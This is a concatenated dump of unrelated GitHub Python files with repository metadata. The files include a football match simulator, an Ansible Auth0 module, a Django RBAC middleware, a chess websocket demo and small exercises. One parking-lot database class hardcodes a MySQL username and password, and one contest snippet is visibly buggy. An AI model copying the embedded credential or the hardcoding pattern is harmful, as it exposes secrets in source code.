98:\r\n lance6()\r\n else:\r\n print(f'\\033[1;33;41mJOGO ROLANDO....\\033[m (Minuto {m}°)'.center(80))\r\n posse_1 = randint(0, 1) \r\n if posse_1 == 0:\r\n posse1.append(1)\r\n elif posse_1 == 1:\r\n posse2.append(1)\r\n print(' ')\r\n\r\nprint('\\033[1;31;43mFINAL DO PRIMEIRO TEMPO....\\033[m'.center(80))\r\nsleep(1)\r\nprint('......'.center(66))\r\nsleep(1)\r\nprint(' .... '.center(66))\r\nsleep(1)\r\nprint(' .. '.center(66))\r\nsleep(1)\r\nprint(' .. '.center(66))\r\nsleep(1)\r\nprint('\\033[1;31;43mINICIA O SEGUNDO TEMPO...\\033[m'.center(80))\r\nprint(' ')\r\nsleep(3)\r\nt = randint(44, 52)\r\n\r\n# SEGUNDO TEMPO \r\n\r\nfor c in range(0, t):\r\n sleep(0.50)\r\n conf_lance1 = randint(0, 100)\r\n conf_lance2 = randint(0, 100)\r\n chutes_1 = uniform(0.0, 106.00)\r\n conf_gol1 = randint(0, 100)\r\n chutes_2 = uniform(0.0, 106.00)\r\n conf_gol2 = randint(0, 100)\r\n cartoes1 = uniform(0.0, 103.00)\r\n cartoes2 = uniform(0.0, 103.00)\r\n cartao = choice(time_1)\r\n cartao2 = choice(time_2)\r\n min.append(1)\r\n m = len(min)\r\n conf_gol1_t = randint(0, 1)\r\n conf_gol2_t = randint(0, 1)\r\n if cartoes1 > 101.83:\r\n space()\r\n print(f'\\033[1;37;44mCartão Amarelo para o jogador {cartao}\\033[m {cartao_y} (Minuto {m}°)'.center(90))\r\n space()\r\n sleep(2)\r\n if cartoes2 > 101.83:\r\n space()\r\n print(f'\\033[1;37;41mCartão Amarelo para o jogador {cartao2}\\033[m {cartao_y} (Minuto {m}°)'.center(90))\r\n space()\r\n sleep(2)\r\n if chutes_1 > 102.00 and conf_gol1 > 91:\r\n lance_gol_time1()\r\n elif chutes_1 > 0 and chutes_1 < 15:\r\n lance1()\r\n elif chutes_1 > 93 and chutes_1 < 98:\r\n lance2()\r\n elif chutes_1 > 86 and chutes_1 < 93:\r\n lance3()\r\n if chutes_2 > 102.00 and conf_gol2 > 91:\r\n lance_gol_time2()\r\n elif chutes_2 > 15 and chutes_2 < 30:\r\n lance4()\r\n elif chutes_2 > 93 and chutes_2 < 98:\r\n lance5()\r\n elif chutes_2 > 86 and chutes_2 < 93:\r\n lance6()\r\n else:\r\n print(f'\\033[1;33;41m JOGO ROLANDO.... \\033[m (Minuto {m}°)'.center(80))\r\n posse_1 = randint(0, 1)\r\n if posse_1 == 0:\r\n posse1.append(1)\r\n elif posse_1 == 1:\r\n posse2.append(1)\r\n space()\r\n\r\nminutos = len(min)\r\nprint('\\033[1;31;47m FIM DE JOGO \\033[m'.center(75))\r\nsleep(2)\r\n\r\n# Cálculo de estatisticas da partida\r\n\r\nresultado1 = len(gol1s)\r\nresultado2 = len(gol2s)\r\nfinalizacao1 = len(chutes1)\r\nfinalizacao2 = len(chutes2)\r\nprecisao1__1 = (resultado1 / finalizacao1) * 100\r\nprecisao2__2 = (resultado2 / finalizacao2) * 100\r\nposse_1 = len(posse1)\r\nposse_2 = len(posse2)\r\nposse__1 = (posse_1 / 90) * 100\r\nposse__2 = 100 - posse__1\r\nchutes1_1 = len(chutes_gol1)\r\nchutes2_2 = len(chutes_gol2)\r\n\r\n# PRINT FINAL DE JOGO E ESTATISTICAS\r\n\r\nspace()\r\nspace()\r\nprint('x' * 65)\r\nspace()\r\nspace()\r\nprint(f'\\033[1;31;47mplacar:\\033[m \\033[1;37;41m{s_time} {resultado1} X {resultado2} {time_adv}\\033[m'.center(90))\r\nspace()\r\nspace()\r\nprint(f'\\033[1;31;47mChutes:\\033[m \\033[1;37;41m{s_time} {finalizacao1} x {finalizacao2} {time_adv}\\033[m'.center(90))\r\nspace()\r\nspace()\r\nprint(f'\\033[1;31;47mCHUTES A GOL:\\033[m \\033[1;37;41m{s_time} {chutes1_1} x {chutes2_2} {time_adv}\\033[m'.center(90))\r\nspace()\r\nspace()\r\nprint(f'\\033[1;31;47mPrecisão:\\033[m \\033[1;37;41m{s_time} {precisao1__1:.0f}% X {precisao2__2:.0f}% {time_adv}\\033[m'.center(90))\r\nspace()\r\nspace()\r\nprint(f'\\033[1;31;47mPosse De bola:\\033[m \\033[1;37;41m{s_time} {posse__1:.0f}% x {posse__2:.0f}% {time_adv}\\033[m'.center(90))\r\nspace()\r\nspace()\r\nprint('×' * 65)\r\nspace()\r\nspace()","repo_name":"Luizedu10s/simulador-de-partida","sub_path":"Simulandopartida.py","file_name":"Simulandopartida.py","file_ext":"py","file_size_in_byte":13809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"45403093038","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 11 08:58:48 2015\n\n@author: fbeyer\n\"\"\"\n\nfrom nipype.pipeline.engine import MapNode, Node, Workflow\nimport nipype.interfaces.utility as util\nimport nipype.interfaces.fsl as fsl\nimport nipype.interfaces.ants as ants\nimport nipype.interfaces.utility as util\n'''\nWorkflow to smooth functional image\n'''\ndef create_visualize_pipeline(name='visualize'):\n\n # initiate workflow\n visualize = Workflow(name='visualize')\n # inputnode\n inputnode=Node(util.IdentityInterface(fields=['ts_transformed',\n 'mni_template'\n ]),\n name='inputnode')\n # outputnode\n outputnode=Node(util.IdentityInterface(fields=['output_image'\n ]),\n name='outputnode')\n \n \n #apply smoothing\n slicer = Node(fsl.Slicer(sample_axial=6, image_width=750),name = 'smooth')\n \n \n visualize.connect([\n (inputnode, slicer, [('ts_transformed', 'in_file'),('mni_template', 'image_edges')]), \n (slicer, outputnode,[('out_file', 'output_image')])\n ])\n \n \n \n return visualize","repo_name":"fBeyer89/LIFE_rs_ICA_preprocessing","sub_path":"functional/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"44013681140","text":"class MessageNode:\n def __init__(\n self,\n role=\"\",\n content=\"\",\n verbose_content=\"\",\n editable=False,\n hidden=False,\n parent=None,\n ):\n self.role = role\n self.content = content\n if not verbose_content:\n self.verbose_content = content\n else:\n self.verbose_content = verbose_content\n self.editable = editable\n self.hidden = hidden\n self.parent = parent\n self.children = []\n self.message = self.to_dict()\n\n def get_compact_content(self, limit_width=200, shown_width=80):\n if len(self.content) > limit_width:\n return (\n self.content[:shown_width]\n + f\" ... [{len(self.content)} chars in total]\"\n )\n else:\n return self.content\n\n def to_dict(self):\n message_dict = {\n \"role\": self.role,\n \"content\": self.content,\n \"editable\": self.editable,\n \"hidden\": self.hidden,\n \"compact_content\": self.get_compact_content(),\n \"verbose_content\": self.verbose_content,\n }\n return message_dict\n\n\nclass MessageChain:\n def __init__(self, messages=None):\n if messages is None:\n messages = []\n self.messages = []\n self.message_nodes = [\n MessageNode(\n role=message[\"role\"],\n content=message[\"content\"],\n editable=message[\"editable\"],\n )\n for message in self.messages\n ]\n\n def append(self, message_node: MessageNode):\n self.message_nodes.append(message_node)\n\n def to_list(self):\n message_list = [message_node.to_dict() for message_node in self.message_nodes]\n return message_list\n\n\nclass MessageTree:\n def __init__(self, message_nodes):\n self.message_nodes = message_nodes\n","repo_name":"Hansimov/GPT-Paper","sub_path":"notebook/nbwidgets/message_node.py","file_name":"message_node.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"30986094446","text":"from prefhelper import PrefHelper\n\n\nclass Preferences(object):\n \"\"\"\n Class to hold the preferences for the running program.\n \"\"\"\n\n @staticmethod\n def init():\n global PREFS\n global KEYS\n global CONFIG\n PREFS = PrefHelper.get_preferences()\n KEYS = PrefHelper.get_keybindings()\n CONFIG = PrefHelper.get_config()\n","repo_name":"wuyuqiang/anki-addons","sub_path":"power_format_pack/preferences.py","file_name":"preferences.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"70286692249","text":"#!/usr/bin/python3\n\ndef roman_to_int(roman_string):\n if roman_string is None or not isinstance(roman_string, str):\n return 0\n\n conversion_map = {\n 'I': 1,\n 'V': 5,\n 'X': 10,\n 'L': 50,\n 'C': 100,\n 'D': 500,\n 'M': 1000\n }\n number_len = len(roman_string)\n roman_num = 0\n\n for i in range(number_len - 1, -1, -1):\n curr = roman_string[i]\n\n if i + 1 < number_len:\n prev = roman_string[i + 1]\n else:\n prev = None\n\n if curr in conversion_map:\n if prev is not None:\n if conversion_map[curr] < conversion_map[prev]:\n roman_num = roman_num - conversion_map[curr]\n else:\n roman_num = roman_num + conversion_map[curr]\n else:\n roman_num = roman_num + conversion_map[curr]\n\n return roman_num\n","repo_name":"m453h/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/12-roman_to_int.py","file_name":"12-roman_to_int.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25282113540","text":"#!/usr/bin/python3\n\nANSIBLE_METADATA = {\n 'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'\n}\n\n# -*- coding: utf-8 -*-\nDOCUMENTATION = '''\n---\nmodule: auth0_email_template\n\ndescription: Module to implement 'email_template' object in Auth0\n\noptions:\n domain:\n description:\n - The Auth0 tenant specific domain to be interacted with\n required: true\n clientid:\n description:\n - The Auth0 clientId being used for authentication\n required: true\n clientsecret:\n description:\n - The Auth0 clientSecret being used for authentication\n required: true\n input_file:\n description:\n - The file from which to read the changeset to be applied. Required for setting operations.\n required: false\n output_file:\n description:\n - The file to which to write requested outputs. Required for getting operations.\n required: false\n content_file:\n description:\n - The file from which to read template specific html.\n required: false\n mode:\n description:\n - The mode the module is being requested to operate in. Current options are 'get', 'assert'\n required: false\n result_url:\n description:\n -\n required: false\n s3_url:\n description:\n -\n required: false\n s3_url_placeholder:\n description:\n -\n required: false\n email_from:\n description:\n -\n required: false\n\nauthor:\n - James Armstrong (@nomadicj)\n'''\n\nEXAMPLES = '''\n- name: Get full config for a specific Auth0 email template\n auth0_email_template:\n mode: 'get'\n name: ''\n domain: ''\n clientid: ''\n clientsecret: ''\n output_file: ''\n\n- name: Set config for a specific Auth0 email template\n auth0_email_template:\n mode: 'assert'\n name: ''\n domain: ''\n clientid: ''\n clientsecret: ''\n input_file: ''\n content_file: ''\n\n'''\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom auth0.v3.authentication import GetToken\nfrom auth0.v3.management import Auth0 as a0\nfrom auth0.v3.exceptions import Auth0Error\nimport tenacity\nimport json\nimport os\nfrom deepdiff import DeepDiff\n\nclass Auth0(object):\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\n self.auth0 = self._authenticate()\n\n def _authenticate(self):\n get_token = GetToken(self.domain)\n token = get_token.client_credentials(self.clientid,\n self.clientsecret, 'https://{}/api/v2/'.format(self.domain))\n return a0(self.domain, token['access_token'])\n\n @tenacity.retry(wait=tenacity.wait_fixed(5), stop=tenacity.stop_after_delay(10), retry=tenacity.retry_if_exception_type(Auth0Error))\n def create_email_template(self, body):\n return self.auth0.email_templates.create(body)\n\n @tenacity.retry(wait=tenacity.wait_fixed(5), stop=tenacity.stop_after_delay(10), retry=tenacity.retry_if_exception_type(Auth0Error))\n def get_email_template(self, name):\n return self.auth0.email_templates.get(name)\n\n @tenacity.retry(wait=tenacity.wait_fixed(5), stop=tenacity.stop_after_delay(10), retry=tenacity.retry_if_exception_type(Auth0Error))\n def update_email_template(self, name, body):\n return self.auth0.email_templates.update(name, body)\n\ndef run_module():\n module_args = dict(\n domain = dict(required=True, type='str'),\n clientid = dict(required=True, type='str'),\n clientsecret = dict(required=True, type='str'),\n name = dict(choices=['verify_email', 'reset_email', 'welcome_email', 'blocked_account', 'stolen_credentials', 'enrollment_email', 'mfa_oob_code'], type='str'),\n state = dict(default='present', choices=['present','absent'], type='str'),\n input_file = dict(type='path'),\n mode = dict(default='get', choices=['get','assert'], type='str'),\n output_file = dict(type='path'),\n content_file = dict(type='path'),\n result_url = dict(type='str'),\n s3_url = dict(type='str'),\n s3_url_placeholder = dict(type='str'),\n email_from = dict(type='str')\n )\n\n result = dict(\n changed = False,\n failed = False,\n msg = '',\n results = [],\n skipped = False,\n message = []\n )\n\n module = AnsibleModule(\n argument_spec = module_args,\n supports_check_mode = True,\n )\n\n domain = module.params.get('domain')\n clientid = module.params.get('clientid')\n clientsecret = module.params.get('clientsecret')\n name = module.params.get('name')\n input_file = module.params.get('input_file')\n mode = module.params.get('mode')\n output_file = module.params.get('output_file')\n content_file = module.params.get('content_file')\n result_url = module.params.get('result_url')\n s3_url = module.params.get('s3_url')\n s3_url_placeholder = module.params.get('s3_url_placeholder')\n email_from = module.params.get('email_from')\n\n if module.check_mode:\n result = \"Check not currently supported.\"\n return result\n\n try:\n auth0 = Auth0(domain = domain, clientid = clientid, clientsecret = clientsecret)\n except Exception as e:\n result['message'].append(\"Failed to authenticate to Auth0 domain [{}] with following error: [{}]\".format(domain, e))\n result['skipped'] = True\n module.exit_json(**result)\n\n if mode == \"get\":\n data = auth0.get_email_template(name)\n export_json = json.dumps(data, indent=2)\n if export_json:\n os.makedirs(os.path.dirname(output_file), exist_ok=True)\n with open(output_file, \"w\") as jsonfile:\n jsonfile.write(export_json)\n else:\n result['message'].append(\"Nothing returned [{}]\".format(export_json))\n\n if mode == \"assert\":\n try:\n with open(input_file, \"r\") as jsonfile:\n import_json = json.load(jsonfile)\n\n with open(content_file, \"r\") as contentfile:\n content_data = contentfile.read()\n\n if s3_url and s3_url_placeholder:\n content_data = content_data.replace(s3_url_placeholder, s3_url)\n else:\n result['message'].append(\"No s3_url was provided. No attempt at interpolation attempted.\")\n\n import_json['body'] = content_data\n\n if result_url:\n import_json['resultUrl'] = result_url\n else:\n result['message'].append(\"No result_url was provided. No attempt at interpolation attempted.\")\n\n if email_from:\n import_json['from'] = email_from\n else:\n result['message'].append(\"No email_from was provided. No attempt at interpolation attempted.\")\n\n try:\n existing_json = auth0.get_email_template(name)\n json_diff = DeepDiff(existing_json, import_json, ignore_order=True)\n result['message'].append(\"{}\".format(json_diff))\n\n if json_diff.get('values_changed', False) or json_diff.get('iterable_item_added', False) or json_diff.get('iterable_item_removed', False) or json_diff.get('dictionary_item_added', False) or json_diff.get('type_changes', False):\n try:\n auth0.update_email_template(name, import_json)\n except Exception as e:\n result['message'].append(\"Update template fail. {} No assertion possible.\".format(e))\n result['skipped'] = True\n module.exit_json(**result)\n result['message'].append(\"Import JSON; {}\".format(import_json))\n result['results'].append(\"Updated Email Template [{}]\".format(name))\n result['message'].append(json_diff.get('values_changed'))\n result['changed'] = True\n else:\n result['results'].append(\"No change detected\")\n except Exception as e:\n try:\n auth0.create_email_template(import_json)\n result['changed'] = True\n except Exception as e:\n result['message'].append(\"Create template fail. {} No assertion possible.\".format(e))\n result['skipped'] = True\n module.exit_json(**result)\n\n except Exception as e:\n result['message'].append(\"{} thrown. Template lookup failed.\".format(e))\n result['skipped'] = True\n module.exit_json(**result)\n\n module.exit_json(**result)\n\ndef main():\n run_module()\n\nif __name__ == '__main__':\n main()\n","repo_name":"nomadicj/auth0_ansible","sub_path":"modules/auth0_email_template.py","file_name":"auth0_email_template.py","file_ext":"py","file_size_in_byte":9114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74695913367","text":"from fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI, WebSocket\nfrom pydantic import BaseModel\nimport chess.engine\nimport chess.pgn\nimport chess\n\nclass Fen(BaseModel):\n fen: str\n\napp = FastAPI()\n\n\nasync def evaluate(fen):\n engine = chess.engine.SimpleEngine.popen_uci(\"/home/mint/share/Other/stockfish_14.1_linux_x64/stockfish_14.1_linux_x64\")\n\n with engine.analysis(chess.Board(str(fen.fen))) as analysis:\n for info in analysis:\n print(info.get(\"score\"))\n \n yield f\"{info.get('score')}\".encode('UTF-8')\n\n # Arbitrary stop condition.\n if info.get(\"seldepth\", 0) > 15:\n break\n engine.quit()\n\nhtml = \"\"\"\n\n\n \n Chat\n \n \n

WebSocket Chat

\n
\n \n \n
\n
    \n
\n \n \n\n\"\"\"\n\n@app.get(\"/\")\nasync def get():\n return HTMLResponse(html)\n\n\n@app.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket, fen: Fen):\n await websocket.accept()\n while True:\n # data = await websocket.receive_text()\n data = await evaluate(fen)\n await websocket.send_text(f\"Message text was: {data}\")\n","repo_name":"arsalanses/uci-gui-2","sub_path":"src/static/js/old trash/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42352025105","text":"def HammingDistance(pattern1, pattern2):\n count = 0\n for s1, s2 in zip(pattern1, pattern2):\n if s1 != s2:\n count += 1\n return count\n \n\ndef ApproximatePatternCount(text, pattern, d):\n count = 0\n for i in range (0, len(text) - len(pattern) + 1):\n tmpPattern = text[i:i+len(pattern)]\n if HammingDistance(pattern, tmpPattern) <= d:\n count += 1\n return count\n \nf = open('dataset_1.8.6.txt', 'rt')\ninput = f.read().split(\"\\n\")\npattern = input[0]\ntext = input[1]\nd = input[2]\n\n\nprint(\"Тест из примера:\")\nprint(ApproximatePatternCount(\"TTTAGAGCCTTCAGAGG\", \"GAGG\", 2)) \nprint(\"Тест на датасете:\")\nprint(ApproximatePatternCount(text, pattern, int(d))) \n","repo_name":"margarita0303/BioinformaticsAlgorithms","sub_path":"homework_2022.02.25/1.8.6.py","file_name":"1.8.6.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18920379294","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# @Time : 2018/9/27 17:53\n# @Author : Cranezhou\n\nimport re\n#:用re去匹配的时候,re.match(/userinfo/,/userinfo/add) #都能匹配到\n\nfrom django.shortcuts import redirect,HttpResponse\nfrom django.conf import settings\n\nclass MiddlewareMixin(object):\n def __init__(self,get_response=None):\n self.get_response = get_response\n super(MiddlewareMixin,self).__init__()\n\n def __call__(self,request):\n response = None\n if hasattr(self,'process_request'):\n response = self.process_request(request)\n if not response:\n response = self.get_response(request)\n if hasattr(self,'process_response'):\n response = self.process_response(request,response)\n return response\n\n\nclass RbacMiddleware(MiddlewareMixin):\n\n def process_request(self,request):\n # 1. 获取当前请求的URL\n # request.path_info\n # 2. 获取Session中保存当前用户的权限\n # request.session.get('permission_url_list')\n current_url = request.path_info\n\n # 当前请求不需要执行权限验证(白名单)\n for url in settings.VALID_URL:\n if re.match(url,current_url):\n return None\n\n # permission_list = request.session.get('permission_url_list')\n permission_dict = request.session.get(settings.PERMISSION_URL_DICT_KEY)\n if not permission_dict:\n return redirect('/login/')\n\n flag = False\n for group_id,code_url in permission_dict.items():\n # for db_url in permission_list:\n for db_url in code_url['urls']:\n regax = \"^{0}$\".format(db_url)\n #:那么要记得在匹配正则的时候加个起始符和终止符regax = \"^{0}$\".format(db_url)\n if re.match(regax,current_url):\n request.permission_code_list = code_url['codes']\n flag = True\n break\n\n if not flag:\n return HttpResponse('无权访问')\n\n","repo_name":"iCraneZhou/RbacManage","sub_path":"rbac/middlewares/rbac.py","file_name":"rbac.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"34355419150","text":"\"\"\"\n-------------------------------------------------------------------------------------\n CLASE QUE REALIZA LAS INTERACCIONES CON LA BASE DE DATOS\n--------------------------------------------------------------------------------------\n\"\"\"\nimport math\nimport mysql.connector\nimport Usuario\nfrom datetime import datetime\n\nclass BaseDeDatos:\n global conexion\n conexion = mysql.connector.connect(\n host=\"localhost\",\n user=\"ubecerril\",\n password=\"bEVUM2K8F8,\",\n database=\"estacionamiento\")\n global cursor\n cursor = conexion.cursor()\n \n def __init__(self):\n pass\n \n def existeUsr(self, usuario):\n usuario_id = usuario.getID()\n sql = \"SELECT COUNT(*) FROM Usuario WHERE ID = %s\"\n val = (usuario_id,)\n cursor.execute(sql, val)\n resultado = cursor.fetchone()\n\n # Si el resultado es 1, significa que el usuario existe; de lo contrario, no existe\n return resultado[0] == 1\n \n def existeHistoria(self, usuario):\n usuario_id = usuario.getID()\n # Consulta para verificar si el usuario con el ID proporcionado está en la tabla Historia y tiene salida nula\n sql = \"SELECT COUNT(*) FROM Historia WHERE usuario_id = %s AND salida IS NULL\"\n val = (usuario_id,)\n cursor.execute(sql, val)\n resultado = cursor.fetchone()\n\n # Si el resultado es mayor que 0, significa que el usuario existe en Historia con salida nula; de lo contrario, no existe\n return resultado[0] > 0\n \n def registrarEntrada(self, usuario):\n id_usuario = usuario.getID()\n # Obtener el último registro en la tabla Cobro\n cursor.execute(\"SELECT id FROM Cobro ORDER BY id DESC LIMIT 1\")\n ultimo_cobro_id = cursor.fetchone()[0] # Obtenemos el ID del último registro en Cobro\n\n # Obtener la fecha y hora actuales\n fecha_hora_actual = datetime.now()\n\n # Insertar una nueva historia con los valores deseados\n sql = \"INSERT INTO Historia (entrada, usuario_id, cobro_id) VALUES (%s, %s, %s)\"\n val = (fecha_hora_actual, id_usuario, ultimo_cobro_id)\n cursor.execute(sql, val)\n conexion.commit()\n \n def registrarUsr(self, usuario):#USUARIO NUEVO PARA ENTRADA (NO PENSION)#VERIFICAR\n usuario_id = usuario.getID()\n cursor.execute(\"INSERT INTO Usuario (id) VALUES(\"+str(usuario_id)+\")\")\n \"\"\"sql = \"INSERT INTO Usuario (id) VALUES(%s)\"\n \n cursor.execute(sql, (usuario_id),)\"\"\"\n conexion.commit()\n \n def registrarSalida(self, usuario):#REGISTRAR LA SALIDA DE UN USUARIO RETORNA USUARIO CON LAS HORAS Y EL COBRO\n usuario_id = usuario.getID()\n fecha_hora_actual = datetime.now()\n\n # Actualizar el registro en la tabla Historia\n \n sql = \"UPDATE Historia SET salida = %s, horas = ROUND(TIMESTAMPDIFF(SECOND, entrada, %s) / 3600.0, 2) WHERE usuario_id = %s AND salida IS NULL\"\n val = (fecha_hora_actual, fecha_hora_actual, usuario_id)\n cursor.execute(sql, val)\n conexion.commit()\n \n # Consulta para obtener los datos del usuario y la última tarifa de cobro\n sql = \"\"\"\n SELECT u.ID, u.cobro, h.entrada, h.salida, h.horas, c.precio AS cobroHora\n FROM Usuario u\n INNER JOIN Historia h ON u.ID = h.usuario_id\n LEFT JOIN Cobro c ON h.cobro_id = c.id\n WHERE u.ID = %s\n ORDER BY h.id DESC\n LIMIT 1\n \"\"\"\n val = (usuario_id,)\n cursor.execute(sql, val)\n resultado = cursor.fetchone()\n \n ID, cobro, entrada, salida, horas, cobroHora = resultado\n \n aux = horas-math.floor(horas)\n if aux <=0.25:\n horasReal = math.floor(horas)\n else:\n horasReal = math.ceil(horas)\n \n if cobro:\n cobroTotal = -1\n else:\n cobroTotal = round(horasReal * cobroHora, 2)\n \n usr = Usuario.Usuario.noPen(ID, entrada, salida, horas, cobroHora, cobroTotal)\n return usr\n","repo_name":"ubecerrilv/SEEHD","sub_path":"Python/Estacionamiento/BaseDeDatos.py","file_name":"BaseDeDatos.py","file_ext":"py","file_size_in_byte":4092,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27282521278","text":"def modinv(a,m,d):\n if a in d:return d[a]\n b, u, v = m, 1, 0\n while b:\n t = a//b\n a -= t*b\n a,b = b,a\n u -= t * v\n u,v = v,u\n u %= m\n return u\n \nclass Combination:\n def __init__(self, n_max=10**6, mod=10**9+7):\n # self._n_max = n_max\n self._fac, self._finv, self._inv = [0]*n_max, [0]*n_max, [0]*n_max\n self._fac[0], self._fac[1] = 1, 1\n self._finv[0], self._finv[1] = 1, 1\n self._inv[1] = 1\n self._mod = mod\n for i in range(2, n_max):\n self._fac[i] = self._fac[i - 1] * i % self._mod\n self._inv[i] = self._mod - self._inv[self._mod%i] * (self._mod // i) % self._mod\n self._finv[i] = self._finv[i - 1] * self._inv[i] % self._mod\n def com(self, n, r):\n if n < r: return 0\n if n < 0 or r < 0: return 0\n return self._fac[n] * (self._finv[r] * self._finv[n - r] % self._mod) % self._mod\n\n def perm(self,n,r):\n if n < r: return 0\n if n < 0 or r < 0: return 0\n return self._fac[n] * (self._finv[n-r] % self._mod) % self._mod\nMOD=998244353\ncomb = Combination(10**5, MOD)\n# comb.com(10,3)\n\nd={}\nn,k=map(int, input().split())\nml=list(map(int, input().split()))\nml.sort(reverse=True)\n\nsdp=[[0]*(n+1) for _ in range(n+1)]\ndp=[[0]*(n+1) for _ in range(n+1)]\nmaxm={}\n\nfor i in range(1,n+1):\n dp[1][i]=ml[i-1]\n sdp[1][i]=sdp[1][i-1]+ml[i-1]\n m=ml[i-1]\n maxm.setdefault(m,0)\n maxm[m]=i\n\n# print(dp)\n# print(sdp)\nfor k in range(2,n+1):\n for i in range(k,n+1):\n\n m=modinv(m,MOD,d)\n dp[k][i]=(sdp[k-1][i-1]*m)%MOD\n sdp[k][i]=(sdp[k][i-1]+dp[k][i])%MOD\nprint(dp)\nprint(sdp)\n\nmst=set(ml)\nmstl=list(mst)\nmstl.sort(reverse=True)\nmstl.append(0)\nans=0\nfor i in range(len(mstl)-1):\n m=mstl[i]\n dist=mstl[i]-mstl[i-1]\n comval=sdp[k][maxm[m]]*dist\n # comval%=MOD\n ans+=comval\n ans%=MOD\n\nans*=modinv(comb.com(n,k),MOD,d)\nprint(ans)\n\n# ans=modinv(comval)\n# for mi in ","repo_name":"nami4mo/competitive-programming","sub_path":"1_contest/previous/utpc2020/utpc2020_d.py","file_name":"utpc2020_d.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38922444488","text":"import random\n\ntext = ['Вас постигла неудача!', 'Прерывание программы!', \"Конец!\"]\ncount = 0\n\nwith open('out_file.txt', 'w') as file:\n try:\n while True:\n num = int(input(\"Введите число: \"))\n count += num\n file.write(f'{str(num)} \\n')\n if count == 777:\n print('Вы успешно выполнили условие для выхода из порочного цикла!')\n break\n elif 13 == random.randint(1,13):\n raise Exception\n except Exception:\n print(random.choice(text))","repo_name":"Echelon1207/Python_course_skillbox","sub_path":"Module23/03_lucky_number/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6080662201","text":"from mock import Mock\nimport six\n\nfrom nailgun.test.base import BaseTestCase\n\nfrom nailgun import consts\nfrom nailgun.statistics.oswl import helpers\n\n\nclass TestOSWLHelpers(BaseTestCase):\n\n components_to_mock = {\n \"nova\": {\n \"servers\": [\n {\n \"id\": 1,\n \"status\": \"running\",\n \"OS-EXT-STS:power_state\": 1,\n \"created\": \"date_of_creation\",\n \"hostId\": \"test_host_id\",\n \"tenant_id\": \"test_tenant_id\",\n \"image\": {\"id\": \"test_image_id\"},\n \"flavor\": {\"id\": \"test_flavor_id\"},\n },\n ],\n \"flavors\": [\n {\n \"id\": 2,\n \"ram\": 64,\n \"vcpus\": 4,\n \"OS-FLV-EXT-DATA:ephemeral\": 1,\n \"disk\": 1,\n \"swap\": 16,\n },\n ],\n \"images\": [\n {\n \"id\": 4,\n \"minDisk\": 1,\n \"minRam\": 64,\n \"OS-EXT-IMG-SIZE:size\": 13000000,\n \"created\": \"some_date_of_creation\",\n \"updated\": \"some_date_of_update\"\n },\n ],\n \"client\": {\"version\": \"v1.1\"}\n },\n \"cinder\": {\n \"volumes\": [\n {\n \"id\": 3,\n \"availability_zone\": \"test_availability_zone\",\n \"encrypted\": False,\n \"bootable\": False,\n \"status\": \"available\",\n \"volume_type\": \"test_volume\",\n \"size\": 1,\n \"snapshot_id\": None,\n \"attachments\": [\n {\n \"device\": \"/dev/sda1\",\n \"server_id\": \"one_test_server_id\",\n \"id\": \"firs_test_id\",\n \"host_name\": \"test_host\",\n \"volume_id\": \"first_test_id\",\n },\n {\n \"device\": \"/dev/sda2\",\n \"server_id\": \"another_test_server_id\",\n \"id\": \"second_test_id\",\n \"host_name\": \"test_host\",\n \"volume_id\": \"second_test_id\",\n },\n ],\n \"os-vol-tenant-attr:tenant_id\": \"test_tenant\",\n },\n ],\n \"client\": {\"version\": \"v1\"}\n },\n \"keystone\": {\n \"tenants\": [\n {\n \"id\": 5,\n \"enabled\": True,\n },\n ],\n \"users\": [\n {\n \"id\": \"test_user_id\",\n \"enabled\": True,\n \"tenantId\": \"test_tenant_id\",\n }\n ],\n \"version\": \"v2.0\"\n },\n }\n\n def _prepare_client_provider_mock(self):\n client_provider_mock = Mock()\n\n clients_version_attr_path = {\n \"nova\": [\"client\", \"version\"],\n \"cinder\": [\"client\", \"version\"],\n \"keystone\": [\"version\"]\n }\n setattr(client_provider_mock, \"clients_version_attr_path\",\n clients_version_attr_path)\n\n return client_provider_mock\n\n def _update_mock_with_complex_dict(self, root_mock, attrs_dict):\n for key, value in six.iteritems(attrs_dict):\n attr_name = key\n attr_value = value\n\n if isinstance(value, dict):\n attr_value = Mock()\n self._update_mock_with_complex_dict(\n attr_value, value\n )\n elif isinstance(value, list):\n attr_value = Mock()\n\n to_return = []\n for data in value:\n attr_value_element = Mock()\n attr_value_element.to_dict.return_value = data\n\n to_return.append(attr_value_element)\n\n attr_value.list.return_value = to_return\n\n setattr(root_mock, attr_name, 